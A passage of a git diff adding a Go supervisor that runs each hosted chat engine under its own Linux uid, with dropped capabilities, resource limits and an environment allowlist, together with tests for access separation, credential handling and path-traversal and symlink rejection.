+ launcher := &fakeLauncher{} + procs := &fakeProcesses{live: make(processTable)} + s := newTestSupervisor(t, cfg, report, launcher, procs) + return s, launcher, procs +} + +func newTestSupervisor(t *testing.T, cfg Config, report Report, launcher Launcher, procs *fakeProcesses) *supervisor { + t.Helper() + s, err := newSupervisor(cfg, report, supervisorDeps{ + launcher: launcher, processes: procs, now: time.Now, + chown: func(string, int, int) error { return nil }, + isOwner: func(os.FileInfo, int) bool { return true }, + log: slog.New(slog.NewTextHandler(io.Discard, nil)), + }) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + s.closeWires() + // A hijacked connection finishes asynchronously. Join its final + // registry write before testing removes the temporary volume. + s.wireWG.Wait() + }) + return s +} + +func healthyReport() Report { + return Report{Require: modeFenced, UIDSwitch: SwitchReport{OK: true}, Landlock: LandlockReport{Available: true, ABI: 7}}.decide() +} + +func request(h http.Handler, method, path, secret, person, body string) *httptest.ResponseRecorder { + r := httptest.NewRequest(method, path, strings.NewReader(body)) + if secret != "" { + r.Header.Set("Authorization", "Bearer "+secret) + } + if person != "" { + r.Header.Set("X-Codeaf-Person", person) + } + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + return w +} + +func createChat(t *testing.T, s *supervisor, person, id string) *httptest.ResponseRecorder { + t.Helper() + w := request(s, "POST", "/v1/sessions", s.cfg.Secret, person, + `{"id":"`+id+`","model_url":"http://model.test/v1","model_token":"made-up-model-bearer"}`) + if w.Code != 201 { + t.Fatalf("create chat: %d %s", w.Code, w.Body) + } + return w +} + +func wantError(t *testing.T, w *httptest.ResponseRecorder, status int, sentence string) { + t.Helper() + body, _ := json.Marshal(map[string]string{"error": sentence}) + if w.Code != status || w.Body.String() != string(body)+"\n" { + t.Fatalf("wanted %d %s, got %d %s", status, body, w.Code, w.Body) + } +} + +func TestC4_ProbeRefusesWhenForced(t *testing.T) { + cfg := testConfig(t) + cfg.ForceProbe = "fail" + report := Probe(cfg) + if report.OK || report.Mode != "refused" || report.Reason != "forced to fail by CODEAF_SESSIONHOST_FORCE_PROBE" { + t.Fatalf("unexpected report: %+v", report) + } + s, launcher, _ := testSupervisor(t, cfg, report) + w := request(s, "POST", "/v1/sessions", cfg.Secret, "alice", + `{"id":"`+chatA+`","model_url":"http://model.test/v1","model_token":"fake"}`) + wantError(t, w, 503, "This server cannot keep your chat apart from other people's, so it did not start one.") + if launcher.starts != 0 || launcher.reaps != 0 { + t.Fatal("refused create started a process") + } +} + +func TestC4_UidModeNeedsExplicitRequire(t *testing.T) { + cfg := testConfig(t) + report := Report{Require: cfg.Require, UIDSwitch: SwitchReport{OK: true}} + if got := report.decide(); got.OK || got.Mode != "refused" { + t.Fatalf("missing command restrictions passed by default: %+v", got) + } + cfg.Require = "uid" + report.Require = cfg.Require + got := report.decide() + if !got.OK || got.Mode != "uid" { + t.Fatalf("explicit process-only isolation failed: %+v", got) + } + s, _, _ := testSupervisor(t, cfg, got) + w := createChat(t, s, "alice", chatA) + var row struct{ Warning string } + if err := json.Unmarshal(w.Body.Bytes(), &row); err != nil || + row.Warning != "This server keeps your chat apart from other people's, but does not limit what its commands can reach." { + t.Fatalf("missing warning: %s, %v", w.Body, err) + } + report.UIDSwitch = SwitchReport{Error: "could not switch identities"} + for _, requirement := range []string{"uid", "uid+fence"} { + report.Require = requirement + if got := report.decide(); got.OK || got.Mode != "refused" { + t.Fatalf("identity switch failure passed with %s: %+v", requirement, got) + } + } +} + +func TestC10_OtherPersonGetsTheSameAnswerAsNoSuchSession(t *testing.T) { + cfg := testConfig(t) + s, launcher, _ := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, " Alice ", chatA) + for _, tc := range []struct{ method, suffix string }{ + {"GET", ""}, {"POST", "/stop"}, {"DELETE", ""}, {"GET", "/wire"}, + } { + w := request(s, tc.method, "/v1/sessions/"+chatA+tc.suffix, cfg.Secret, "bob", "") + missing := request(s, tc.method, "/v1/sessions/"+chatB+tc.suffix, cfg.Secret, "bob", "") + wantError(t, w, 404, "There is no such chat.") + if missing.Code != w.Code || !bytes.Equal(w.Body.Bytes(), missing.Body.Bytes()) { + t.Fatalf("%s %s distinguishes another person's chat from a missing one", tc.method, tc.suffix) + } + } + if launcher.starts != 0 || launcher.reaps != 1 { + t.Fatal("another person triggered a helper") + } + w := request(s, "GET", "/v1/sessions", cfg.Secret, "bob", "") + if w.Code != 200 || w.Body.String() != "{\"sessions\":[]}\n" { + t.Fatalf("another person saw a session: %d %s", w.Code, w.Body) + } +} + +func TestC10_MissingOrWrongSecretIsEmpty401(t *testing.T) { + cfg := testConfig(t) + s, _, _ := testSupervisor(t, cfg, healthyReport()) + for _, tc := range []struct{ path, secret, person string }{ + {"/v1/sessions", "", "alice"}, + {"/v1/sessions", strings.Repeat("x", 32), "alice"}, + {"/v1/sessions", cfg.Secret, ""}, + {"/v1/sessions", cfg.Secret, "bad handle"}, + {"/v1/health", "", ""}, + {"/unknown", "bad-key", ""}, + } { + w := request(s, "GET", tc.path, tc.secret, tc.person, "") + if w.Code != 401 || w.Body.Len() != 0 { + t.Fatalf("wanted an empty 401, got %d %q", w.Code, w.Body.String()) + } + } + w := request(s, "GET", "/v1/health", cfg.Secret, "", "") + if w.Code != 200 || w.Body.String() != "{\"ok\":true,\"mode\":\"uid+fence\",\"reason\":\"\"}\n" { + t.Fatalf("health refused its valid bearer: %d %s", w.Code, w.Body) + } +} + +func TestC3_EngineEnvironmentIsExactlyTheAllowList(t *testing.T) { + cfg := testConfig(t) + cfg.Model = "example-model" + for _, name := range []string{"OPENROUTER_API_KEY", "GH_TOKEN", "CODEAF_SERVER_KEY", "CODEAF_SESSIONHOST_SECRET", "OPENAI_API_KEY", "TMPDIR"} { + t.Setenv(name, "poisoned-supervisor-value") + } + launcher := newWireTestLauncher() + s := newTestSupervisor(t, cfg, healthyReport(), launcher, &fakeProcesses{live: make(processTable)}) + createChat(t, s, "alice", chatA) + creds := putTestCredentials(t, s, "updated-model-token") + conn := dialTestWire(t, s) + defer conn.CloseNow() + + folders, err := layoutFor(cfg.Data, "alice", chatA) + if err != nil { + t.Fatal(err) + } + want := map[string]string{ + "HOME": folders.home(), "CODEAF_HOME": folders.home(), "TMPDIR": folders.tmp(), + "PATH": "/usr/local/bin:/usr/bin:/bin", "LANG": "C.UTF-8", + "CODEAF_TELEMETRY": "off", "DO_NOT_TRACK": "1", "CODEAF_NO_UPDATE_CHECK": "1", + "CODEAF_BASE_URL": creds.ModelURL, "OPENAI_API_KEY": creds.ModelToken, "CODEAF_ENGINE_IDLE": "30m0s", + "CODEAF_FENCE_REQUIRE": "1", "CODEAF_MODEL": "example-model", + } + env := launcher.environment(t) + got := make(map[string]string) + for _, entry := range env { + name, value, ok := strings.Cut(entry, "=") + if !ok { + t.Fatal("environment entry has no value") + } + got[name] = value + } + if len(env) != len(want) || !reflect.DeepEqual(got, want) { + t.Fatalf("engine environment differs from the allowlist: %v", got) + } +} + +func TestC3_CredentialsNeverTouchDisk(t *testing.T) { + cfg := testConfig(t) + s, _, _ := testSupervisor(t, cfg, healthyReport()) + w := createChat(t, s, "alice", chatA) + if strings.Contains(w.Body.String(), "made-up-model-bearer") { + t.Fatal("create echoed model credentials") + } + putTestCredentials(t, s, "second-made-up-model-bearer") + err := filepath.WalkDir(cfg.Data, func(path string, entry os.DirEntry, err error) error { + if err != nil || entry.IsDir() { + return err + } + data, err := os.ReadFile(path) + if bytes.Contains(data, []byte("made-up-model-bearer")) { + t.Errorf("model credentials were stored in %s", entry.Name()) + } + return err + }) + if err != nil { + t.Fatal(err) + } +} + +func putTestCredentials(t *testing.T, s *supervisor, token string) credentials { + t.Helper() + const modelURL = "http://model.test/other" + w := request(s, "PUT", "/v1/sessions/"+chatA+"/credentials", s.cfg.Secret, "alice", + `{"model_url":"`+modelURL+`","model_token":"`+token+`"}`) + if w.Code != 204 || w.Body.Len() != 0 { + t.Fatalf("update credentials: %d %s", w.Code, w.Body) + } + return credentials{ModelURL: modelURL, ModelToken: token} +} + +func TestC7_LimitsAnswerWithASentence(t *testing.T) { + cfg := testConfig(t) + cfg.MaxRunning, cfg.MaxPerPerson = 1, 1 + s, launcher, proc := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + createChat(t, s, "alice", chatB) + createChat(t, s, "bob", chatC) + proc.live[cfg.UIDBase] = []int{4321} + w := request(s, "GET", "/v1/sessions/"+chatC+"/wire", cfg.Secret, "bob", "") + wantError(t, w, 429, "Waiting for a free slot (1 of 1 in use).") + s.cfg.MaxRunning = 2 + w = request(s, "GET", "/v1/sessions/"+chatB+"/wire", cfg.Secret, "alice", "") + wantError(t, w, 429, "You already have 1 chats running; stop one first.") + if launcher.starts != 0 { + t.Fatal("a refused attach started an engine") + } +} + +func TestC7_StateIsDerivedFromProcesses(t *testing.T) { + cfg := testConfig(t) + s, _, proc := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + state := func() string { + w := request(s, "GET", "/v1/sessions/"+chatA, cfg.Secret, "alice", "") + var row struct{ State string } + if err := json.Unmarshal(w.Body.Bytes(), &row); w.Code != 200 || err != nil { + t.Fatalf("get chat: %d %s", w.Code, w.Body) + } + return row.State + } + if got := state(); got != "suspended" { + t.Fatalf("empty process table gave %q", got) + } + proc.live[cfg.UIDBase] = []int{4321} + if got := state(); got != "running" { + t.Fatalf("live process gave %q", got) + } + delete(proc.live, cfg.UIDBase) + if got := state(); got != "suspended" { + t.Fatalf("process exit gave %q", got) + } +} + +func TestC2_LayoutModesAndTraversal(t *testing.T) { + cfg := testConfig(t) + s, _, _ := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + l, err := layoutFor(cfg.Data, "alice", chatA) + if err != nil { + t.Fatal(err) + } + for path, mode := range map[string]os.FileMode{ + filepath.Join(cfg.Data, "people"): 0o711, filepath.Dir(l.dir): 0o711, + l.dir: 0o700, l.home(): 0o700, l.work(): 0o700, l.tmp(): 0o700, + } { + info, err := os.Lstat(path) + if err != nil || info.Mode().Perm() != mode || !info.IsDir() { + t.Fatalf("wanted directory mode %o for %s, got %v, %v", mode, filepath.Base(path), info, err) + } + } + for _, id := range []string{"..", "../" + chatB, "bad", strings.ToUpper(chatB)} { + w := request(s, "POST", "/v1/sessions", cfg.Secret, "alice", + `{"id":"`+id+`","model_url":"http://model.test/v1","model_token":"fake"}`) + wantError(t, w, 400, "This chat has an invalid identifier.") + } + target := t.TempDir() + if err := os.Symlink(target, filepath.Join(cfg.Data, "people", personDir("bob"))); err != nil { + t.Fatal(err) + } + w := request(s, "POST", "/v1/sessions", cfg.Secret, "bob", + `{"id":"`+chatB+`","model_url":"http://model.test/v1","model_token":"fake"}`) + wantError(t, w, 500, "This chat could not be created.") + entries, err := os.ReadDir(target) + if err != nil || len(entries) != 0 { + t.Fatalf("creation crossed the symlink: %v, %v", entries, err) + } +} + +func TestC9_PlainWords(t *testing.T) { + for _, sentence := range append(refusalText[:len(refusalText):len(refusalText)], warningUID) { + for _, term := range []string{"uid", "sandbox", "sessionhost", "fence", "landlock", "daemon", "setuid"} { + if strings.Contains(strings.ToLower(sentence), term) { + t.Errorf("%q contains %q", sentence, term) + } + } + } +} diff --git a/internal/sessionhost/caps_linux.go b/internal/sessionhost/caps_linux.go new file mode 100644 index 0000000000..2206c6182d --- /dev/null +++ b/internal/sessionhost/caps_linux.go @@ -0,0 +1,62 @@ +//go:build linux + +package sessionhost + +import ( + "errors" + + "golang.org/x/sys/unix" +) + +// supervisorCaps are the only capabilities the supervisor needs: CHOWN for the +// one fresh folder it hands to a session uid, KILL for the sweep that ends a +// session, SETUID and SETGID for the helper's identity switch, and SETPCAP +// because the helper must empty the capability bounding set before it gives the +// privilege away. THERE IS NO DAC_OVERRIDE AND NO FOWNER: a root that can ignore +// file modes while it works near folders a session can write is the classic way +// for a session to talk the supervisor into overwriting something it owns. +var supervisorCaps = []uintptr{ + unix.CAP_CHOWN, unix.CAP_KILL, unix.CAP_SETGID, unix.CAP_SETUID, unix.CAP_SETPCAP, +} + +// RestrictSupervisor takes every other capability away from this process, in the +// bounding set (so nothing it starts can regain one) and in the effective, +// permitted and inheritable sets. On Docker the container already starts with +// only these five (the Compose file says so), so this is a no-op there; on a +// platform that hands root a larger set, such as a Railway service, it is what +// makes "the supervisor holds five capabilities" true. A process that is not +// root, or that lacks SETPCAP, is left as it is: the identity switch then +// refuses, which is the only thing that matters. +func RestrictSupervisor() error { + if unix.Geteuid() != 0 { + return nil + } + keep := map[uintptr]bool{} + for _, c := range supervisorCaps { + keep[c] = true + } + for c := uintptr(0); ; c++ { + present, err := unix.PrctlRetInt(unix.PR_CAPBSET_READ, c, 0, 0, 0) + if errors.Is(err, unix.EINVAL) { + break + } + if err != nil { + return errors.New("Could not read the process capability set.") + } + if present == 1 && !keep[c] { + if unix.Prctl(unix.PR_CAPBSET_DROP, c, 0, 0, 0) != nil { + return errors.New("Could not drop the extra process capabilities.") + } + } + } + var mask uint32 + for _, c := range supervisorCaps { + mask |= 1 << c + } + var data [2]unix.CapUserData + data[0] = unix.CapUserData{Effective: mask, Permitted: mask} + if unix.Capset(&unix.CapUserHeader{Version: unix.LINUX_CAPABILITY_VERSION_3}, &data[0]) != nil { + return errors.New("Could not narrow the process capabilities.") + } + return nil +} diff --git a/internal/sessionhost/config.go b/internal/sessionhost/config.go new file mode 100644 index 0000000000..1bedbe21a7 --- /dev/null +++ b/internal/sessionhost/config.go @@ -0,0 +1,93 @@ +package sessionhost + +import ( + "fmt" + "strconv" + "time" + "unicode/utf8" +) + +const ( + minSessionUID = 1000 + maxSessionUID = 1 << 31 + modeFenced = "uid+fence" + modeUID = "uid" + modeRefused = "refused" +) + +// Config holds the operator settings for one supervisor. +type Config struct { + Listen string + Secret string `json:"-"` + Data string + UIDBase int + UIDCount int + MaxRunning int + MaxPerPerson int + Idle time.Duration + NProc int + Require string + Model string + ForceProbe string + Engine string +} + +// ConfigFromEnv reads the supervisor's own settings without sourcing a profile. +func ConfigFromEnv(getenv func(string) string) (Config, error) { + value := func(name, fallback string) string { + if v := getenv("CODEAF_SESSIONHOST_" + name); v != "" { + return v + } + return fallback + } + cfg := Config{ + Listen: value("LISTEN", "0.0.0.0:8790"), + Secret: value("SECRET", ""), + Data: value("DATA", "/sessions"), + Require: value("REQUIRE", modeFenced), + Model: value("MODEL", ""), + ForceProbe: value("FORCE_PROBE", ""), + Engine: value("ENGINE", ""), + } + if utf8.RuneCountInString(cfg.Secret) < 32 { + return Config{}, fmt.Errorf("CODEAF_SESSIONHOST_SECRET must be at least 32 characters long") + } + for _, entry := range []struct { + name string + fallback string + dest *int + }{ + {"UID_BASE", "200000", &cfg.UIDBase}, + {"UID_COUNT", "10000", &cfg.UIDCount}, + {"MAX_RUNNING", "20", &cfg.MaxRunning}, + {"MAX_PER_PERSON", "3", &cfg.MaxPerPerson}, + {"NPROC", "512", &cfg.NProc}, + } { + n, err := strconv.Atoi(value(entry.name, entry.fallback)) + if err != nil || n < 1 { + return Config{}, fmt.Errorf("CODEAF_SESSIONHOST_%s must be a positive integer", entry.name) + } + *entry.dest = n + } + if !validUIDRange(cfg.UIDBase, cfg.UIDCount) { + return Config{}, fmt.Errorf("CODEAF_SESSIONHOST_UID_BASE and CODEAF_SESSIONHOST_UID_COUNT must define a range from 1000 up to 2147483647") + } + idle, err := time.ParseDuration(value("IDLE", "30m")) + if err != nil || idle < 5*time.Second { + return Config{}, fmt.Errorf("CODEAF_SESSIONHOST_IDLE must be a duration of at least 5s") + } + cfg.Idle = idle + if cfg.Require != modeFenced && cfg.Require != modeUID { + return Config{}, fmt.Errorf("CODEAF_SESSIONHOST_REQUIRE must be uid+fence or uid") + } + return cfg, nil +} + +func validUIDRange(base, count int) bool { + return base >= minSessionUID && int64(base) < maxSessionUID && + count >= 1 && int64(count) <= maxSessionUID-int64(base) +} + +func (c Config) ownsUID(uid int) bool { + return uid >= c.UIDBase && uid-c.UIDBase < c.UIDCount && uid >= minSessionUID +} diff --git a/internal/sessionhost/config_test.go b/internal/sessionhost/config_test.go new file mode 100644 index 0000000000..d3623d3a50 --- /dev/null +++ b/internal/sessionhost/config_test.go @@ -0,0 +1,39 @@ +package sessionhost + +import ( + "strings" + "testing" + "time" +) + +func TestConfigFromEnv(t *testing.T) { + secret := strings.Repeat("S", 32) + values := map[string]string{"CODEAF_SESSIONHOST_SECRET": secret} + cfg, err := ConfigFromEnv(func(key string) string { return values[key] }) + if err != nil { + t.Fatal(err) + } + if cfg.Listen != "0.0.0.0:8790" || cfg.Data != "/sessions" || + cfg.UIDBase != 200000 || cfg.UIDCount != 10000 || cfg.MaxRunning != 20 || + cfg.MaxPerPerson != 3 || cfg.Idle != 30*time.Minute || cfg.NProc != 512 || + cfg.Require != "uid+fence" || cfg.Secret != secret { + t.Fatal("incorrect default configuration") + } + for key, value := range map[string]string{ + "SECRET": "short", "UID_BASE": "999", "UID_COUNT": "2147483648", + "MAX_RUNNING": "0", "MAX_PER_PERSON": "-1", "IDLE": "4s", + "NPROC": "0", "REQUIRE": "open", + } { + t.Run(key, func(t *testing.T) { + _, err := ConfigFromEnv(func(name string) string { + if name == "CODEAF_SESSIONHOST_"+key { + return value + } + return values[name] + }) + if err == nil || strings.Contains(err.Error(), secret) { + t.Fatalf("expected a configuration error with no secret for %s", key) + } + }) + } +} diff --git a/internal/sessionhost/doc.go b/internal/sessionhost/doc.go new file mode 100644 index 0000000000..c346037a8d --- /dev/null +++ b/internal/sessionhost/doc.go @@ -0,0 +1,6 @@ +// Package sessionhost supervises private hosted chats on a Linux volume. +// A persisted session owns a dedicated process identity, and only a helper +// already running under that identity may write inside its private directory. +// Each attachment gets a short-lived bridge to the engine, whose independent +// lifetime lets a chat continue while its client is away. +package sessionhost diff --git a/internal/sessionhost/launch_linux.go b/internal/sessionhost/launch_linux.go new file mode 100644 index 0000000000..595bade330 --- /dev/null +++ b/internal/sessionhost/launch_linux.go @@ -0,0 +1,187 @@ +//go:build linux + +package sessionhost + +import ( + "errors" + "flag" + "fmt" + "io" + "os" + "path/filepath" + "runtime" + "strconv" + "strings" + "syscall" + + "golang.org/x/sys/unix" +) + +const ( + helperFailure = 126 + boundingError = "Could not clear the process capability bounding set." +) + +func RunHelper(args []string) int { + var err error + if len(args) == 0 { + err = errors.New("A helper command is required.") + } else { + switch args[0] { + case "launch": + err = launch(args[1:]) + case "reap": + err = reap(args[1:]) + case "whoami": + err = whoami() + default: + err = errors.New("Unknown helper command.") + } + } + if err != nil { + fmt.Fprintln(os.Stderr, err) + return helperFailure + } + return 0 +} + +func launch(args []string) error { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + + fs := flag.NewFlagSet("launch", flag.ContinueOnError) + fs.SetOutput(io.Discard) + uid := fs.Int("uid", 0, "") + gid := fs.Int("gid", 0, "") + dir := fs.String("dir", "", "") + nproc := fs.Int("nproc", 0, "") + if fs.Parse(args) != nil || fs.NArg() < 1 || !filepath.IsAbs(fs.Arg(0)) || + !filepath.IsAbs(*dir) || !validUIDRange(*uid, 1) || *gid != *uid || *nproc < 1 { + return errors.New("The launch settings are invalid.") + } + if os.Geteuid() != 0 { + return errors.New("not running as root") + } + for _, limit := range []struct { + resource int + value uint64 + }{ + {unix.RLIMIT_NPROC, uint64(*nproc)}, + {unix.RLIMIT_NOFILE, 4096}, + {unix.RLIMIT_FSIZE, 10 << 30}, + {unix.RLIMIT_CORE, 0}, + } { + if err := unix.Setrlimit(limit.resource, &unix.Rlimit{Cur: limit.value, Max: limit.value}); err != nil { + return errors.New("Could not set the process limits.") + } + } + if err := unix.Prctl(unix.PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); err != nil { + return errors.New("Could not block new process privileges.") + } + _ = os.WriteFile("/proc/self/oom_score_adj", []byte("500"), 0) + + // Linux requires CAP_SETPCAP to drop a bounding bit. The identity + // switch clears that capability, so the exec thread must drop the + // bounding set beforehand and verify it again after the switch. + if err := dropBoundingSet(); err != nil { + return err + } + if syscall.Setgroups(nil) != nil || + syscall.Setresgid(*gid, *gid, *gid) != nil || + syscall.Setresuid(*uid, *uid, *uid) != nil || + !currentIdentity().matches(*uid) { + return errors.New("Could not switch to the chat's process identity.") + } + if err := verifyUnprivileged(); err != nil { + return err + } + if err := os.Chdir(*dir); err != nil { + return errors.New("Could not open the chat's working folder.") + } + if err := syscall.Exec(fs.Arg(0), fs.Args(), os.Environ()); err != nil { + return errors.New("Could not launch the chat process.") + } + return nil +} + +func dropBoundingSet() error { + // An invalid capability number marks the end of the kernel's set and + // avoids guessing the largest bit from the headers used to build us. + for cap := uintptr(0); ; cap++ { + present, err := unix.PrctlRetInt(unix.PR_CAPBSET_READ, cap, 0, 0, 0) + if errors.Is(err, unix.EINVAL) { + return nil + } + if err != nil || (present == 1 && unix.Prctl(unix.PR_CAPBSET_DROP, cap, 0, 0, 0) != nil) { + return errors.New(boundingError) + } + } +} + +func verifyUnprivileged() error { + if unix.Prctl(unix.PR_CAP_AMBIENT, unix.PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0) != nil { + return errors.New("Could not clear the process capabilities.") + } + // With no effective or permitted bits, capset can still clear the + // calling thread's inheritable set. It cannot add a capability here. + var clear [2]unix.CapUserData + if unix.Capset(&unix.CapUserHeader{Version: unix.LINUX_CAPABILITY_VERSION_3}, &clear[0]) != nil { + return errors.New("Could not clear the process capabilities.") + } + status, err := readStatus("/proc/thread-self/status") + if err != nil { + return errors.New("Could not verify the process capabilities.") + } + if !zeroHex(status["CapEff"]) || !zeroHex(status["CapPrm"]) || !zeroHex(status["CapInh"]) || + !zeroHex(status["CapBnd"]) || !zeroHex(status["CapAmb"]) || status["NoNewPrivs"] != "1" { + return errors.New("Could not verify the process privileges.") + } + return nil +} + +func zeroHex(value string) bool { + n, err := strconv.ParseUint(value, 16, 64) + return err == nil && n == 0 +} + +type identity struct { + uid, gid [3]int + groups int +} + +func currentIdentity() identity { + var id identity + id.uid[0], id.uid[1], id.uid[2] = unix.Getresuid() + id.gid[0], id.gid[1], id.gid[2] = unix.Getresgid() + groups, err := os.Getgroups() + id.groups = len(groups) + if err != nil { + id.groups = -1 + } + return id +} + +func (id identity) matches(uid int) bool { + want := [3]int{uid, uid, uid} + return id.uid == want && id.gid == want && id.groups == 0 +} + +func whoami() error { + id := currentIdentity() + status, err := readStatus("/proc/thread-self/status") + if err != nil { + return errors.New("Could not read the process identity.") + } + _, err = fmt.Printf("uid=%d,%d,%d gid=%d,%d,%d groups=%d nnp=%s capeff=%s\n", + id.uid[0], id.uid[1], id.uid[2], id.gid[0], id.gid[1], id.gid[2], + id.groups, status["NoNewPrivs"], status["CapEff"]) + return err +} + +func probeIdentity(output string, uid int) bool { + fields := strings.Fields(output) + ids := fmt.Sprintf("%d,%d,%d", uid, uid, uid) + return len(fields) == 5 && fields[0] == "uid="+ids && fields[1] == "gid="+ids && + fields[2] == "groups=0" && fields[3] == "nnp=1" && + strings.HasPrefix(fields[4], "capeff=") && zeroHex(strings.TrimPrefix(fields[4], "capeff=")) +} diff --git a/internal/sessionhost/launch_linux_test.go b/internal/sessionhost/launch_linux_test.go new file mode 100644 index 0000000000..40aa4b3f5a --- /dev/null +++ b/internal/sessionhost/launch_linux_test.go @@ -0,0 +1,128 @@ +//go:build linux + +package sessionhost + +import ( + "bufio" + "context" + "io" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "testing" + "time" + + "golang.org/x/sys/unix" +) + +func TestMain(m *testing.M) { + if len(os.Args) > 2 && os.Args[1] == "sessionhost" { + os.Exit(RunHelper(os.Args[2:])) + } + os.Exit(m.Run()) +} + +func rootLauncher(t *testing.T, cfg Config) linuxLauncher { + t.Helper() + if os.Geteuid() != 0 { + t.Skip("requires root in an isolated container") + } + l, err := newLauncher(cfg) + if err != nil { + t.Fatal(err) + } + // The normal test binary can live in a directory inaccessible to the + // switched identity. Give the second exec a private test copy it can open. + dir, err := os.MkdirTemp("", "codeaf-sessionhost-test-*") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { os.RemoveAll(dir) }) + if err := os.Chmod(dir, 0o711); err != nil { + t.Fatal(err) + } + src, err := os.Open(l.self) + if err != nil { + t.Fatal(err) + } + defer src.Close() + l.self = filepath.Join(dir, "helper") + dst, err := os.OpenFile(l.self, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o755) + if err != nil { + t.Fatal(err) + } + _, copyErr := io.Copy(dst, src) + closeErr := dst.Close() + if copyErr != nil || closeErr != nil { + t.Fatalf("copy re-exec fixture: %v, %v", copyErr, closeErr) + } + if err := os.Chmod(l.self, 0o755); err != nil { + t.Fatal(err) + } + return l +} + +func TestC2_RealLaunchDropsEverything(t *testing.T) { + cfg := testConfig(t) + l := rootLauncher(t, cfg) + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + out, err := l.command(ctx, cfg.UIDBase, "/", helperEnv(), l.self, "sessionhost", "whoami").CombinedOutput() + if err != nil { + t.Fatalf("launch helper failed: %v, %s", err, out) + } + if !probeIdentity(string(out), cfg.UIDBase) { + t.Fatalf("unexpected helper identity: %s", out) + } +} + +func TestC7_KillAllKillsSetsidDescendants(t *testing.T) { + cfg := testConfig(t) + l := rootLauncher(t, cfg) + if pids := ProcessesOf(cfg.UIDBase); len(pids) > 0 { + t.Fatal("the test identity is already in use") + } + setsid, err := exec.LookPath("setsid") + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + cmd := l.command(ctx, cfg.UIDBase, "/", helperEnv(), "/bin/sh", "-c", + `"$1" /bin/sleep 300 & printf '%s\n' "$!"; wait`, "sh", setsid) + stdout, err := cmd.StdoutPipe() + if err != nil { + t.Fatal(err) + } + cmd.Stderr = os.Stderr + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + defer cmd.Wait() + procs := linuxProcesses{cfg} + defer func() { _ = procs.KillAll(cfg.UIDBase, stopGrace) }() + line, err := bufio.NewReader(stdout).ReadString('\n') + pid, idErr := strconv.Atoi(strings.TrimSpace(line)) + if err != nil || idErr != nil { + t.Fatalf("no detached child PID: %q, %v, %v", line, err, idErr) + } + deadline := time.Now().Add(time.Second) + for { + sid, err := unix.Getsid(pid) + if sid == pid && err == nil { + break + } + if time.Now().After(deadline) { + t.Fatalf("child %d did not make a separate process session: %d, %v", pid, sid, err) + } + time.Sleep(10 * time.Millisecond) + } + if err := procs.KillAll(cfg.UIDBase, stopGrace); err != nil { + t.Fatal(err) + } + if pids := ProcessesOf(cfg.UIDBase); len(pids) != 0 { + t.Fatalf("live processes survived: %v", pids) + } +} diff --git a/internal/sessionhost/launcher_linux.go b/internal/sessionhost/launcher_linux.go new file mode 100644 index 0000000000..6d01d5835a --- /dev/null +++ b/internal/sessionhost/launcher_linux.go @@ -0,0 +1,150 @@ +//go:build linux + +package sessionhost + +import ( + "context" + "io" + "os" + "os/exec" + "path/filepath" + "strconv" + "time" +) + +// Launcher is the process boundary for both per-connection engines and +// short-lived folder maintenance under the same process identity. +type Launcher interface { + start(uid int, folders layout, env []string) (*engineChild, error) + reap(uid int, folders layout, mode reapMode) error +} + +type linuxLauncher struct { + self string + engine string + nproc int +} + +func newLauncher(cfg Config) (linuxLauncher, error) { + self, err := os.Executable() + if err != nil { + return linuxLauncher{}, err + } + engine := self + if cfg.Engine != "" { + engine, err = filepath.Abs(cfg.Engine) + if err != nil { + return linuxLauncher{}, err + } + } + return linuxLauncher{self: self, engine: engine, nproc: cfg.NProc}, nil +} + +func helperEnv() []string { + return []string{"PATH=/usr/local/bin:/usr/bin:/bin", "LANG=C.UTF-8", "CODEAF_TELEMETRY=off", "DO_NOT_TRACK=1"} +} + +func engineEnv(cfg Config, folders layout, creds credentials) []string { + env := append(helperEnv(), + "HOME="+folders.home(), + "CODEAF_HOME="+folders.home(), + "TMPDIR="+folders.tmp(), + "CODEAF_NO_UPDATE_CHECK=1", + "CODEAF_BASE_URL="+creds.ModelURL, + "OPENAI_API_KEY="+creds.ModelToken, + "CODEAF_ENGINE_IDLE="+cfg.Idle.String(), + ) + if cfg.Require == modeFenced { + env = append(env, "CODEAF_FENCE_REQUIRE=1") + } + if cfg.Model != "" { + env = append(env, "CODEAF_MODEL="+cfg.Model) + } + return env +} + +func (l linuxLauncher) command(ctx context.Context, uid int, dir string, env []string, argv ...string) *exec.Cmd { + id := strconv.Itoa(uid) + args := []string{"sessionhost", "launch", "--uid", id, "--gid", id, "--dir", dir, "--nproc", strconv.Itoa(l.nproc), "--"} + cmd := exec.CommandContext(ctx, "/proc/self/exe", append(args, argv...)...) //codeaf:plumbing re-executes the privilege-dropping helper + cmd.Env = env + return cmd +} + +func (l linuxLauncher) reap(uid int, folders layout, mode reapMode) error { + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + args := []string{l.self, "sessionhost", "reap", folders.dir} + if mode != reapAll { + args = append(args, string(mode)) + } + return l.command(ctx, uid, "/", helperEnv(), args...).Run() +} + +type engineChild struct { + in io.WriteCloser + out io.ReadCloser + signal func(os.Signal) error + done <-chan struct{} + // The waiter publishes these fields by closing done. + waitErr error + stderr stderrRing +} + +func (l linuxLauncher) start(uid int, folders layout, env []string) (*engineChild, error) { + cmd := l.command(context.Background(), uid, folders.work(), env, l.engine, "engine", "--workspace", folders.work()) + in, err := cmd.StdinPipe() + if err != nil { + return nil, err + } + // The bridge owns the read end so Wait cannot discard queued stdout + // when the child exits before the last frame is forwarded. + out, writeOut, err := os.Pipe() + if err != nil { + in.Close() + return nil, err + } + defer writeOut.Close() + done := make(chan struct{}) + child := &engineChild{in: in, out: out, done: done} + cmd.Stdout, cmd.Stderr = writeOut, &child.stderr + 